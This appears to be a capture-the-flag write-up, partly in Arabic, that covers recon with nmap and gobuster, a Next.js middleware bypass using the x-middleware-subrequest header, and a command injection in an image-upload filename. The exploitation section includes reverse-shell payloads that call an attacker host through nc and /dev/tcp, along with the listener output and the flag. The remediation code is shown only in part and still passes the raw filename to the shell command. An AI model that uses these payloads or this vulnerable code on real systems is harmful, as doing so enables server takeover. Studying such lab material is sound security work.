kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

خلفية

آلية الثغرة

• إذا كان الرأس x-middleware-subrequest موجودًا
• وقيمته تحتوي على اسم middleware
• فإن Next.js يتخطى تنفيذ middleware ويقوم بإعادة توجيه الطلب مباشرة

الكود الضعيف

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  

للإصدارات 13.2.0 وما بعده

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

الإصلاح

شرح

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    

    const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
    

    return new Promise((resolve) => {
      exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => {
      ...
  

استغلال

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}